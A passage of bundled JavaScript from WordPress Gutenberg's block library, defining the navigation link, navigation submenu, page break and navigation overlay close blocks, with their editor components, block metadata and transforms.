                      ".block-editor-button-block-appender"
                    );
                    if (appenderButton) {
                      appenderButton.focus();
                    }
                  }
                }
              },
              anchor: popoverAnchor,
              onRemove: removeLink,
              onChange: handleLinkChange
            }
          )
        ] }),
        /* @__PURE__ */ (0, import_jsx_runtime335.jsx)("div", { ...innerBlocksProps })
      ] })
    ] });
  }

  // packages/block-library/build-module/navigation-link/save.mjs
  var import_block_editor161 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime336 = __toESM(require_jsx_runtime(), 1);
  function save34() {
    return /* @__PURE__ */ (0, import_jsx_runtime336.jsx)(import_block_editor161.InnerBlocks.Content, {});
  }

  // packages/block-library/build-module/navigation-link/hooks.mjs
  function getIcon(variationName) {
    switch (variationName) {
      case "post":
        return post_list_default;
      case "page":
        return page_default;
      case "tag":
        return tag_default;
      case "category":
        return category_default;
      default:
        return custom_post_type_default;
    }
  }
  function enhanceNavigationLinkVariations(settings122, name123) {
    if (name123 !== "core/navigation-link") {
      return settings122;
    }
    if (settings122.variations) {
      const isActive = (blockAttributes8, variationAttributes) => {
        return blockAttributes8.type === variationAttributes.type;
      };
      const variations18 = settings122.variations.map((variation) => {
        return {
          ...variation,
          ...!variation.icon && {
            icon: getIcon(variation.name)
          },
          ...!variation.isActive && {
            isActive
          }
        };
      });
      return {
        ...settings122,
        variations: variations18
      };
    }
    return settings122;
  }

  // packages/block-library/build-module/navigation-link/transforms.mjs
  var import_blocks64 = __toESM(require_blocks(), 1);
  var transforms18 = {
    from: [
      {
        type: "block",
        blocks: ["core/site-logo"],
        transform: () => {
          return (0, import_blocks64.createBlock)("core/navigation-link");
        }
      },
      {
        type: "block",
        blocks: ["core/spacer"],
        transform: () => {
          return (0, import_blocks64.createBlock)("core/navigation-link");
        }
      },
      {
        type: "block",
        blocks: ["core/home-link"],
        transform: () => {
          return (0, import_blocks64.createBlock)("core/navigation-link");
        }
      },
      {
        type: "block",
        blocks: ["core/social-links"],
        transform: () => {
          return (0, import_blocks64.createBlock)("core/navigation-link");
        }
      },
      {
        type: "block",
        blocks: ["core/search"],
        transform: () => {
          return (0, import_blocks64.createBlock)("core/navigation-link");
        }
      },
      {
        type: "block",
        blocks: ["core/page-list"],
        transform: () => {
          return (0, import_blocks64.createBlock)("core/navigation-link");
        }
      },
      {
        type: "block",
        blocks: ["core/buttons"],
        transform: () => {
          return (0, import_blocks64.createBlock)("core/navigation-link");
        }
      }
    ],
    to: [
      {
        type: "block",
        blocks: ["core/navigation-submenu"],
        transform: (attributes2, innerBlocks) => (0, import_blocks64.createBlock)(
          "core/navigation-submenu",
          attributes2,
          innerBlocks
        )
      },
      {
        type: "block",
        blocks: ["core/spacer"],
        transform: () => {
          return (0, import_blocks64.createBlock)("core/spacer");
        }
      },
      {
        type: "block",
        blocks: ["core/site-logo"],
        transform: () => {
          return (0, import_blocks64.createBlock)("core/site-logo");
        }
      },
      {
        type: "block",
        blocks: ["core/home-link"],
        transform: () => {
          return (0, import_blocks64.createBlock)("core/home-link");
        }
      },
      {
        type: "block",
        blocks: ["core/social-links"],
        transform: () => {
          return (0, import_blocks64.createBlock)("core/social-links");
        }
      },
      {
        type: "block",
        blocks: ["core/search"],
        transform: () => {
          return (0, import_blocks64.createBlock)("core/search", {
            showLabel: false,
            buttonUseIcon: true,
            buttonPosition: "button-inside"
          });
        }
      },
      {
        type: "block",
        blocks: ["core/page-list"],
        transform: () => {
          return (0, import_blocks64.createBlock)("core/page-list");
        }
      },
      {
        type: "block",
        blocks: ["core/buttons"],
        transform: ({ label, url, rel, title, opensInNewTab }) => {
          return (0, import_blocks64.createBlock)("core/buttons", {}, [
            (0, import_blocks64.createBlock)("core/button", {
              text: label,
              url,
              rel,
              title,
              linkTarget: opensInNewTab ? "_blank" : void 0
            })
          ]);
        }
      }
    ]
  };
  var transforms_default19 = transforms18;

  // packages/block-library/build-module/navigation-link/index.mjs
  var import_jsx_runtime337 = __toESM(require_jsx_runtime(), 1);
  var { fieldsKey: fieldsKey12, formKey: formKey12 } = unlock(import_blocks65.privateApis);
  var { name: name55 } = block_default55;
  var settings55 = {
    icon: custom_link_default,
    __experimentalLabel(attributes2, { context }) {
      if (context === "list-view") {
        return attributes2?.label;
      }
      if (context === "appender") {
        const type = attributes2?.type || "link";
        return (0, import_i18n144.sprintf)(
          /* translators: %s: block type (e.g., 'page', 'post', 'category') */
          (0, import_i18n144._x)("Add %s", "add default block type"),
          type
        );
      }
      return attributes2?.label;
    },
    merge(leftAttributes, { label: rightLabel = "" }) {
      return {
        ...leftAttributes,
        label: leftAttributes.label + rightLabel
      };
    },
    edit: NavigationLinkEdit,
    save: save34,
    example: {
      attributes: {
        label: (0, import_i18n144._x)("Example Link", "navigation link preview example"),
        url: "https://example.com"
      }
    },
    deprecated: [
      {
        isEligible(attributes2) {
          return attributes2.nofollow;
        },
        attributes: {
          label: {
            type: "string"
          },
          type: {
            type: "string"
          },
          nofollow: {
            type: "boolean"
          },
          description: {
            type: "string"
          },
          id: {
            type: "number"
          },
          opensInNewTab: {
            type: "boolean",
            default: false
          },
          url: {
            type: "string"
          }
        },
        migrate({ nofollow, ...rest }) {
          return {
            rel: nofollow ? "nofollow" : "",
            ...rest
          };
        },
        save() {
          return /* @__PURE__ */ (0, import_jsx_runtime337.jsx)(import_block_editor162.InnerBlocks.Content, {});
        }
      }
    ],
    transforms: transforms_default19
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings55[fieldsKey12] = [
      {
        id: "label",
        label: (0, import_i18n144.__)("Label"),
        type: "text",
        Edit: "rich-text"
      },
      {
        id: "link",
        label: (0, import_i18n144.__)("Link"),
        type: "url",
        Edit: "link",
        getValue: ({ item }) => ({
          url: item.url,
          rel: item.rel
        }),
        setValue: ({ value }) => ({
          url: value.url,
          rel: value.rel
        })
      }
    ];
    settings55[formKey12] = {
      fields: ["label", "link"]
    };
  }
  var init55 = () => {
    (0, import_hooks43.addFilter)(
      "blocks.registerBlockType",
      "core/navigation-link",
      enhanceNavigationLinkVariations
    );
    return initBlock({ name: name55, metadata: block_default55, settings: settings55 });
  };

  // packages/block-library/build-module/navigation-submenu/index.mjs
  var navigation_submenu_exports = {};
  __export(navigation_submenu_exports, {
    init: () => init56,
    metadata: () => block_default56,
    name: () => name56,
    settings: () => settings56
  });
  var import_i18n146 = __toESM(require_i18n(), 1);
  var import_blocks68 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/navigation-submenu/block.json
  var block_default56 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/navigation-submenu",
    title: "Submenu",
    category: "design",
    parent: ["core/navigation"],
    description: "Add a submenu to your navigation.",
    textdomain: "default",
    attributes: {
      label: {
        type: "string",
        role: "content"
      },
      type: {
        type: "string"
      },
      description: {
        type: "string"
      },
      rel: {
        type: "string"
      },
      id: {
        type: "number"
      },
      opensInNewTab: {
        type: "boolean",
        default: false
      },
      url: {
        type: "string",
        role: "content"
      },
      title: {
        type: "string"
      },
      kind: {
        type: "string"
      },
      isTopLevelItem: {
        type: "boolean"
      },
      isParentSubmenu: {
        type: "boolean",
        default: true
      }
    },
    providesContext: {
      "core/isInsideSubmenu": "isParentSubmenu"
    },
    usesContext: [
      "textColor",
      "customTextColor",
      "backgroundColor",
      "customBackgroundColor",
      "overlayTextColor",
      "customOverlayTextColor",
      "overlayBackgroundColor",
      "customOverlayBackgroundColor",
      "fontSize",
      "customFontSize",
      "showSubmenuIcon",
      "maxNestingLevel",
      "openSubmenusOnClick",
      "submenuVisibility",
      "style"
    ],
    supports: {
      anchor: true,
      reusable: false,
      html: false,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: "wp-block-navigation-submenu-editor",
    style: "wp-block-navigation-submenu"
  };

  // packages/block-library/build-module/navigation-submenu/edit.mjs
  var import_data89 = __toESM(require_data(), 1);
  var import_components96 = __toESM(require_components(), 1);
  var import_keycodes6 = __toESM(require_keycodes(), 1);
  var import_i18n145 = __toESM(require_i18n(), 1);
  var import_block_editor163 = __toESM(require_block_editor(), 1);
  var import_url16 = __toESM(require_url(), 1);
  var import_element82 = __toESM(require_element(), 1);
  var import_a11y4 = __toESM(require_a11y(), 1);
  var import_blocks66 = __toESM(require_blocks(), 1);
  var import_compose38 = __toESM(require_compose(), 1);

  // packages/block-library/build-module/navigation-submenu/icons.mjs
  var import_components95 = __toESM(require_components(), 1);
  var import_jsx_runtime338 = __toESM(require_jsx_runtime(), 1);
  var ItemSubmenuIcon = () => /* @__PURE__ */ (0, import_jsx_runtime338.jsx)(
    import_components95.SVG,
    {
      xmlns: "http://www.w3.org/2000/svg",
      width: "12",
      height: "12",
      viewBox: "0 0 12 12",
      fill: "none",
      children: /* @__PURE__ */ (0, import_jsx_runtime338.jsx)(import_components95.Path, { d: "M1.50002 4L6.00002 8L10.5 4", strokeWidth: "1.5" })
    }
  );

  // packages/block-library/build-module/navigation-submenu/edit.mjs
  var import_jsx_runtime339 = __toESM(require_jsx_runtime(), 1);
  var ALLOWED_BLOCKS = [
    "core/navigation-link",
    "core/navigation-submenu",
    "core/page-list"
  ];
  function NavigationSubmenuEdit({
    attributes: attributes2,
    isSelected,
    setAttributes,
    mergeBlocks,
    onReplace,
    context,
    clientId
  }) {
    const { label, url, description, kind, type, id } = attributes2;
    const { showSubmenuIcon, maxNestingLevel, submenuVisibility } = context;
    const blockEditingMode = (0, import_block_editor163.useBlockEditingMode)();
    const openSubmenusOnClick = blockEditingMode !== "default" ? true : submenuVisibility === "click";
    const { hasUrlBinding, isBoundEntityAvailable, entityRecord } = useEntityBinding({
      clientId,
      attributes: attributes2
    });
    const handleLinkChange = useHandleLinkChange({
      clientId,
      attributes: attributes2,
      setAttributes,
      allowTextUpdate: true
    });
    const { __unstableMarkNextChangeAsNotPersistent, replaceBlock } = (0, import_data89.useDispatch)(import_block_editor163.store);
    const [isLinkOpen, setIsLinkOpen] = (0, import_element82.useState)(false);
    const [popoverAnchor, setPopoverAnchor] = (0, import_element82.useState)(null);
    const listItemRef = (0, import_element82.useRef)(null);
    const isDraggingWithin = useIsDraggingWithin(listItemRef);
    const itemLabelPlaceholder = (0, import_i18n145.__)("Add text\u2026");
    const ref = (0, import_element82.useRef)();
    const {
      parentCount,
      isParentOfSelectedBlock,
      isImmediateParentOfSelectedBlock,
      hasChildren,
      selectedBlockHasChildren,
      onlyDescendantIsEmptyLink
    } = (0, import_data89.useSelect)(
      (select9) => {
        const {
          hasSelectedInnerBlock,
          getSelectedBlockClientId,
          getBlockParentsByBlockName,
          getBlock,
          getBlockCount,
          getBlockOrder
        } = select9(import_block_editor163.store);
        let _onlyDescendantIsEmptyLink;
        const selectedBlockId = getSelectedBlockClientId();
        const selectedBlockChildren = getBlockOrder(selectedBlockId);
        if (selectedBlockChildren?.length === 1) {
          const singleBlock = getBlock(selectedBlockChildren[0]);
          _onlyDescendantIsEmptyLink = singleBlock?.name === "core/navigation-link" && !singleBlock?.attributes?.label;
        }
        return {
          parentCount: getBlockParentsByBlockName(
            clientId,
            "core/navigation-submenu"
          ).length,
          isParentOfSelectedBlock: hasSelectedInnerBlock(
            clientId,
            true
          ),
          isImmediateParentOfSelectedBlock: hasSelectedInnerBlock(
            clientId,
            false
          ),
          hasChildren: !!getBlockCount(clientId),
          selectedBlockHasChildren: !!selectedBlockChildren?.length,
          onlyDescendantIsEmptyLink: _onlyDescendantIsEmptyLink
        };
      },
      [clientId]
    );
    const validateLinkStatus = useEnableLinkStatusValidation(clientId);
    const prevHasChildren = (0, import_compose38.usePrevious)(hasChildren);
    const [isInvalid, isDraft] = useIsInvalidLink(
      kind,
      type,
      id,
      validateLinkStatus
    );
    (0, import_element82.useEffect)(() => {
      if (!openSubmenusOnClick && !url) {
        setIsLinkOpen(true);
      }
    }, []);
    (0, import_element82.useEffect)(() => {
      if (!isSelected) {
        setIsLinkOpen(false);
      }
    }, [isSelected]);
    (0, import_element82.useEffect)(() => {
      if (isLinkOpen && url) {
        if ((0, import_url16.isURL)((0, import_url16.prependHTTP)(label)) && /^.+\.[a-z]+/.test(label)) {
          selectLabelText(ref);
        }
      }
    }, [url]);
    const {
      textColor,
      customTextColor,
      backgroundColor,
      customBackgroundColor
    } = getColors(context, parentCount > 0);
    function onKeyDown(event) {
      if (import_keycodes6.isKeyboardEvent.primary(event, "k")) {
        event.preventDefault();
        event.stopPropagation();
        setIsLinkOpen(true);
      }
    }
    const blockProps = (0, import_block_editor163.useBlockProps)({
      ref: (0, import_compose38.useMergeRefs)([setPopoverAnchor, listItemRef]),
      className: clsx_default("wp-block-navigation-item", {
        "is-editing": isSelected || isParentOfSelectedBlock,
        "is-dragging-within": isDraggingWithin,
        "has-link": !!url,
        "has-child": hasChildren,
        "has-text-color": !!textColor || !!customTextColor,
        [(0, import_block_editor163.getColorClassName)("color", textColor)]: !!textColor,
        "has-background": !!backgroundColor || customBackgroundColor,
        [(0, import_block_editor163.getColorClassName)("background-color", backgroundColor)]: !!backgroundColor,
        "open-on-click": openSubmenusOnClick,
        "open-always": submenuVisibility === "always"
      }),
      style: {
        color: !textColor && customTextColor,
        backgroundColor: !backgroundColor && customBackgroundColor
      },
      onKeyDown
    });
    const innerBlocksColors = getColors(context, true);
    const allowedBlocks = parentCount >= maxNestingLevel ? ALLOWED_BLOCKS.filter(
      (blockName) => blockName !== "core/navigation-submenu"
    ) : ALLOWED_BLOCKS;
    const navigationChildBlockProps = getNavigationChildBlockProps(innerBlocksColors);
    const innerBlocksProps = (0, import_block_editor163.useInnerBlocksProps)(navigationChildBlockProps, {
      allowedBlocks,
      defaultBlock: DEFAULT_BLOCK5,
      directInsert: true,
      // Ensure block toolbar is not too far removed from item
      // being edited.
      // see: https://github.com/WordPress/gutenberg/pull/34615.
      __experimentalCaptureToolbars: true,
      renderAppender: isSelected || isImmediateParentOfSelectedBlock && !selectedBlockHasChildren || // Show the appender while dragging to allow inserting element between item and the appender.
      hasChildren ? import_block_editor163.InnerBlocks.ButtonBlockAppender : false
    });
    const ParentElement = openSubmenusOnClick ? "button" : "a";
    function transformToLink() {
      const newLinkBlock = (0, import_blocks66.createBlock)("core/navigation-link", attributes2);
      replaceBlock(clientId, newLinkBlock);
    }
    (0, import_element82.useEffect)(() => {
      if (!hasChildren && prevHasChildren) {
        __unstableMarkNextChangeAsNotPersistent();
        transformToLink();
      }
    }, [hasChildren, prevHasChildren]);
    const canConvertToLink = !selectedBlockHasChildren || onlyDescendantIsEmptyLink;
    return /* @__PURE__ */ (0, import_jsx_runtime339.jsxs)(import_jsx_runtime339.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime339.jsx)(import_block_editor163.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime339.jsxs)(import_components96.ToolbarGroup, { children: [
        !openSubmenusOnClick && /* @__PURE__ */ (0, import_jsx_runtime339.jsx)(
          import_components96.ToolbarButton,
          {
            name: "link",
            icon: link_default,
            title: (0, import_i18n145.__)("Link"),
            shortcut: import_keycodes6.displayShortcut.primary("k"),
            onClick: () => {
              setIsLinkOpen(true);
            }
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime339.jsx)(
          import_components96.ToolbarButton,
          {
            name: "revert",
            icon: remove_submenu_default,
            title: (0, import_i18n145.__)("Convert to Link"),
            onClick: transformToLink,
            className: "wp-block-navigation__submenu__revert",
            disabled: !canConvertToLink
          }
        )
      ] }) }),
      /* @__PURE__ */ (0, import_jsx_runtime339.jsx)(import_block_editor163.InspectorControls, { group: "content", children: /* @__PURE__ */ (0, import_jsx_runtime339.jsx)(
        Controls2,
        {
          attributes: attributes2,
          setAttributes,
          clientId,
          isLinkEditable: !openSubmenusOnClick
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime339.jsxs)("div", { ...blockProps, children: [
        /* @__PURE__ */ (0, import_jsx_runtime339.jsxs)(ParentElement, { className: "wp-block-navigation-item__content", children: [
          !isInvalid && !isDraft && /* @__PURE__ */ (0, import_jsx_runtime339.jsxs)(import_jsx_runtime339.Fragment, { children: [
            /* @__PURE__ */ (0, import_jsx_runtime339.jsx)(
              import_block_editor163.RichText,
              {
                ref,
                identifier: "label",
                className: "wp-block-navigation-item__label",
                value: label,
                onChange: (labelValue) => setAttributes({ label: labelValue }),
                onMerge: mergeBlocks,
                onReplace,
                "aria-label": (0, import_i18n145.__)("Navigation link text"),
                placeholder: itemLabelPlaceholder,
                withoutInteractiveFormatting: true,
                onClick: () => {
                  if (!openSubmenusOnClick && !url) {
                    setIsLinkOpen(true);
                  }
                }
              }
            ),
            description && /* @__PURE__ */ (0, import_jsx_runtime339.jsx)("span", { className: "wp-block-navigation-item__description", children: description })
          ] }),
          (isInvalid || isDraft) && /* @__PURE__ */ (0, import_jsx_runtime339.jsx)(
            InvalidDraftDisplay,
            {
              label,
              isInvalid,
              isDraft,
              className: "wp-block-navigation-item__label"
            }
          ),
          !openSubmenusOnClick && isLinkOpen && /* @__PURE__ */ (0, import_jsx_runtime339.jsx)(
            LinkUI,
            {
              clientId,
              link: attributes2,
              entity: {
                entityRecord,
                hasBinding: hasUrlBinding,
                isEntityAvailable: isBoundEntityAvailable
              },
              onClose: () => {
                setIsLinkOpen(false);
              },
              anchor: popoverAnchor,
              onRemove: () => {
                setAttributes({ url: "" });
                (0, import_a11y4.speak)((0, import_i18n145.__)("Link removed."), "assertive");
              },
              onChange: handleLinkChange
            }
          )
        ] }),
        (showSubmenuIcon || openSubmenusOnClick) && /* @__PURE__ */ (0, import_jsx_runtime339.jsx)("span", { className: "wp-block-navigation__submenu-icon", children: /* @__PURE__ */ (0, import_jsx_runtime339.jsx)(ItemSubmenuIcon, {}) }),
        /* @__PURE__ */ (0, import_jsx_runtime339.jsx)("div", { ...innerBlocksProps })
      ] })
    ] });
  }

  // packages/block-library/build-module/navigation-submenu/save.mjs
  var import_block_editor164 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime340 = __toESM(require_jsx_runtime(), 1);
  function save35() {
    return /* @__PURE__ */ (0, import_jsx_runtime340.jsx)(import_block_editor164.InnerBlocks.Content, {});
  }

  // packages/block-library/build-module/navigation-submenu/transforms.mjs
  var import_blocks67 = __toESM(require_blocks(), 1);
  var transforms19 = {
    to: [
      {
        type: "block",
        blocks: ["core/navigation-link"],
        isMatch: (attributes2, block) => block?.innerBlocks?.length === 0,
        transform: (attributes2) => (0, import_blocks67.createBlock)("core/navigation-link", attributes2)
      },
      {
        type: "block",
        blocks: ["core/spacer"],
        isMatch: (attributes2, block) => block?.innerBlocks?.length === 0,
        transform: () => {
          return (0, import_blocks67.createBlock)("core/spacer");
        }
      },
      {
        type: "block",
        blocks: ["core/site-logo"],
        isMatch: (attributes2, block) => block?.innerBlocks?.length === 0,
        transform: () => {
          return (0, import_blocks67.createBlock)("core/site-logo");
        }
      },
      {
        type: "block",
        blocks: ["core/home-link"],
        isMatch: (attributes2, block) => block?.innerBlocks?.length === 0,
        transform: () => {
          return (0, import_blocks67.createBlock)("core/home-link");
        }
      },
      {
        type: "block",
        blocks: ["core/social-links"],
        isMatch: (attributes2, block) => block?.innerBlocks?.length === 0,
        transform: () => {
          return (0, import_blocks67.createBlock)("core/social-links");
        }
      },
      {
        type: "block",
        blocks: ["core/search"],
        isMatch: (attributes2, block) => block?.innerBlocks?.length === 0,
        transform: () => {
          return (0, import_blocks67.createBlock)("core/search");
        }
      }
    ]
  };
  var transforms_default20 = transforms19;

  // packages/block-library/build-module/navigation-submenu/index.mjs
  var { fieldsKey: fieldsKey13, formKey: formKey13 } = unlock(import_blocks68.privateApis);
  var { name: name56 } = block_default56;
  var settings56 = {
    icon: ({ context }) => {
      if (context === "list-view") {
        return page_default;
      }
      return add_submenu_default;
    },
    __experimentalLabel(attributes2, { context }) {
      const { label } = attributes2;
      const customName = attributes2?.metadata?.name;
      if ((context === "list-view" || context === "breadcrumb") && customName) {
        return customName;
      }
      return label;
    },
    edit: NavigationSubmenuEdit,
    example: {
      attributes: {
        label: (0, import_i18n146._x)("About", "Example link text for Navigation Submenu"),
        type: "page"
      }
    },
    save: save35,
    transforms: transforms_default20
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings56[fieldsKey13] = [
      {
        id: "label",
        label: (0, import_i18n146.__)("Label"),
        type: "text",
        Edit: "rich-text"
        //TODO: replace with custom component
      },
      {
        id: "link",
        label: (0, import_i18n146.__)("Link"),
        type: "url",
        Edit: "link",
        // TODO: replace with custom component
        getValue: ({ item }) => ({
          url: item.url,
          rel: item.rel
        }),
        setValue: ({ value }) => ({
          url: value.url,
          rel: value.rel
        })
      }
    ];
    settings56[formKey13] = {
      fields: ["label", "link"]
    };
  }
  var init56 = () => initBlock({ name: name56, metadata: block_default56, settings: settings56 });

  // packages/block-library/build-module/nextpage/index.mjs
  var nextpage_exports = {};
  __export(nextpage_exports, {
    init: () => init57,
    metadata: () => block_default57,
    name: () => name57,
    settings: () => settings57
  });

  // packages/block-library/build-module/nextpage/edit.mjs
  var import_i18n147 = __toESM(require_i18n(), 1);
  var import_block_editor165 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime341 = __toESM(require_jsx_runtime(), 1);
  function NextPageEdit() {
    return /* @__PURE__ */ (0, import_jsx_runtime341.jsx)("div", { ...(0, import_block_editor165.useBlockProps)(), children: /* @__PURE__ */ (0, import_jsx_runtime341.jsx)("span", { children: (0, import_i18n147.__)("Page break") }) });
  }

  // packages/block-library/build-module/nextpage/block.json
  var block_default57 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/nextpage",
    title: "Page Break",
    category: "design",
    description: "Separate your content into a multi-page experience.",
    keywords: ["next page", "pagination"],
    parent: ["core/post-content"],
    textdomain: "default",
    supports: {
      customClassName: false,
      className: false,
      html: false,
      visibility: false,
      interactivity: {
        clientNavigation: true
      },
      customCSS: false
    },
    editorStyle: "wp-block-nextpage-editor"
  };

  // packages/block-library/build-module/nextpage/save.mjs
  var import_element83 = __toESM(require_element(), 1);
  var import_jsx_runtime342 = __toESM(require_jsx_runtime(), 1);
  function save36() {
    return /* @__PURE__ */ (0, import_jsx_runtime342.jsx)(import_element83.RawHTML, { children: "<!--nextpage-->" });
  }

  // packages/block-library/build-module/nextpage/transforms.mjs
  var import_blocks69 = __toESM(require_blocks(), 1);
  var transforms20 = {
    from: [
      {
        type: "raw",
        schema: {
          "wp-block": { attributes: ["data-block"] }
        },
        isMatch: (node) => node.dataset && node.dataset.block === "core/nextpage",
        transform() {
          return (0, import_blocks69.createBlock)("core/nextpage", {});
        }
      }
    ]
  };
  var transforms_default21 = transforms20;

  // packages/block-library/build-module/nextpage/index.mjs
  var { name: name57 } = block_default57;
  var settings57 = {
    icon: page_break_default,
    example: {},
    transforms: transforms_default21,
    edit: NextPageEdit,
    save: save36
  };
  var init57 = () => initBlock({ name: name57, metadata: block_default57, settings: settings57 });

  // packages/block-library/build-module/navigation-overlay-close/index.mjs
  var navigation_overlay_close_exports = {};
  __export(navigation_overlay_close_exports, {
    init: () => init58,
    metadata: () => block_default58,
    name: () => name58,
    settings: () => settings58
  });
  var import_hooks46 = __toESM(require_hooks(), 1);

  // packages/block-library/build-module/navigation-overlay-close/edit.mjs
  var import_block_editor166 = __toESM(require_block_editor(), 1);
  var import_components97 = __toESM(require_components(), 1);
  var import_i18n148 = __toESM(require_i18n(), 1);
  var import_jsx_runtime343 = __toESM(require_jsx_runtime(), 1);
  function NavigationOverlayCloseEdit({
    attributes: attributes2,
    setAttributes
  }) {
    const { displayMode, text } = attributes2;
    const showIcon = displayMode === "icon" || displayMode === "both";
    const showText = displayMode === "text" || displayMode === "both";
    const displayText = text || (0, import_i18n148.__)("Close");
    const blockProps = (0, import_block_editor166.useBlockProps)({
      className: "wp-block-navigation-overlay-close"
    });
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime343.jsxs)(import_jsx_runtime343.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime343.jsx)(import_block_editor166.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime343.jsx)(
        import_components97.__experimentalToolsPanel,
        {
          label: (0, import_i18n148.__)("Settings"),
          resetAll: () => setAttributes({ displayMode: "icon" }),
          dropdownMenuProps,
          children: /* @__PURE__ */ (0, import_jsx_runtime343.jsx)(
            import_components97.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n148.__)("Display Mode"),
              isShownByDefault: true,
              hasValue: () => displayMode !== "icon",
              onDeselect: () => setAttributes({ displayMode: "icon" }),
              children: /* @__PURE__ */ (0, import_jsx_runtime343.jsxs)(
                import_components97.__experimentalToggleGroupControl,
                {
                  label: (0, import_i18n148.__)("Display Mode"),
                  value: displayMode,
                  onChange: (value) => setAttributes({ displayMode: value }),
                  isBlock: true,
                  __next40pxDefaultSize: true,
                  children: [
                    /* @__PURE__ */ (0, import_jsx_runtime343.jsx)(
                      import_components97.__experimentalToggleGroupControlOption,
                      {
                        value: "icon",
                        label: (0, import_i18n148.__)("Icon")
                      }
                    ),
                    /* @__PURE__ */ (0, import_jsx_runtime343.jsx)(
                      import_components97.__experimentalToggleGroupControlOption,
                      {
                        value: "text",
                        label: (0, import_i18n148.__)("Text")
                      }
                    ),
                    /* @__PURE__ */ (0, import_jsx_runtime343.jsx)(
                      import_components97.__experimentalToggleGroupControlOption,
                      {
                        value: "both",
                        label: (0, import_i18n148.__)("Both")
                      }
                    )
                  ]
                }
              )
            }
          )
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime343.jsxs)(
        "button",
        {
          ...blockProps,
          type: "button",
          "aria-label": !showText ? (0, import_i18n148.__)("Close") : void 0,
          children: [
            showIcon && /* @__PURE__ */ (0, import_jsx_runtime343.jsx)(icon_default, { icon: close_default }),
            showText && /* @__PURE__ */ (0, import_jsx_runtime343.jsx)(
              import_block_editor166.RichText,
              {
                identifier: "text",
                value: displayText,
                onChange: (value) => setAttributes({ text: value }),
                tagName: "span",
                className: "wp-block-navigation-overlay-close__text",
                allowedFormats: ["core/bold", "core/italic"]
              }
            )
          ]
        }
      )
    ] });
  }

  // packages/block-library/build-module/navigation-overlay-close/block.json
  var block_default58 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/navigation-overlay-close",
    title: "Navigation Overlay Close",
    category: "design",
    description: "A customizable button to close overlays.",
    keywords: ["close", "overlay", "navigation", "menu"],
    textdomain: "default",
    attributes: {
      displayMode: {
        type: "string",
        enum: ["icon", "text", "both"],
        default: "icon"
      },
      text: {
        type: "string"
      }
    },
    supports: {
      color: {
        gradients: false,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        padding: true,
        __experimentalDefaultControls: {
          padding: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      }
    },
    style: "wp-block-navigation-overlay-close"
  };

  // packages/block-library/build-module/navigation-overlay-close/icon.mjs
  var import_primitives164 = __toESM(require_primitives(), 1);
  var import_jsx_runtime344 = __toESM(require_jsx_runtime(), 1);
  var icon_default3 = /* @__PURE__ */ (0, import_jsx_runtime344.jsx)(import_primitives164.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime344.jsx)(import_primitives164.Path, { d: "M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2Zm.5 14c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v12ZM15 8l-3 3-3-3-1.1 1.1 3 3-3 3L9 16.2l3-3 3 3 1.1-1.1-3-3 3-3L15 8Z" }) });

  // packages/block-library/build-module/navigation-overlay-close/index.mjs
  var { name: name58 } = block_default58;
  var settings58 = {
    icon: icon_default3,
    edit: NavigationOverlayCloseEdit
  };
  var init58 = () => {
    (0, import_hooks46.addFilter)(
      "blockEditor.__unstableCanInsertBlockType",
      "core/navigation-overlay-close/restrict-to-overlay-template-parts",
      (canInsert, blockType) => {
        if (blockType.name !== "core/navigation-overlay-close") {
          return canInsert;
        }
        if (!canInsert) {
          return canInsert;
        }
        return isWithinNavigationOverlay();
      }
    );
    return initBlock({ name: name58, metadata: block_default58, settings: settings58 });
  };

  // packages/block-library/build-module/pattern/index.mjs
  var pattern_exports = {};
  __export(pattern_exports, {
    init: () => init59,
    metadata: () => block_default59,
    name: () => name59,
    settings: () => settings59
  });

  // packages/block-library/build-module/pattern/block.json
  var block_default59 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/pattern",
    title: "Pattern Placeholder",
    category: "theme",
    description: "Show a block pattern.",
    supports: {
      html: false,
      inserter: false,
      renaming: false,
      visibility: false,
      interactivity: {
        clientNavigation: true
      }
    },
    textdomain: "default",
    attributes: {
      slug: {
        type: "string"
      }
    }
  };

  // packages/block-library/build-module/pattern/edit.mjs
  var import_blocks70 = __toESM(require_blocks(), 1);
  var import_data91 = __toESM(require_data(), 1);
  var import_element84 = __toESM(require_element(), 1);
  var import_block_editor167 = __toESM(require_block_editor(), 1);
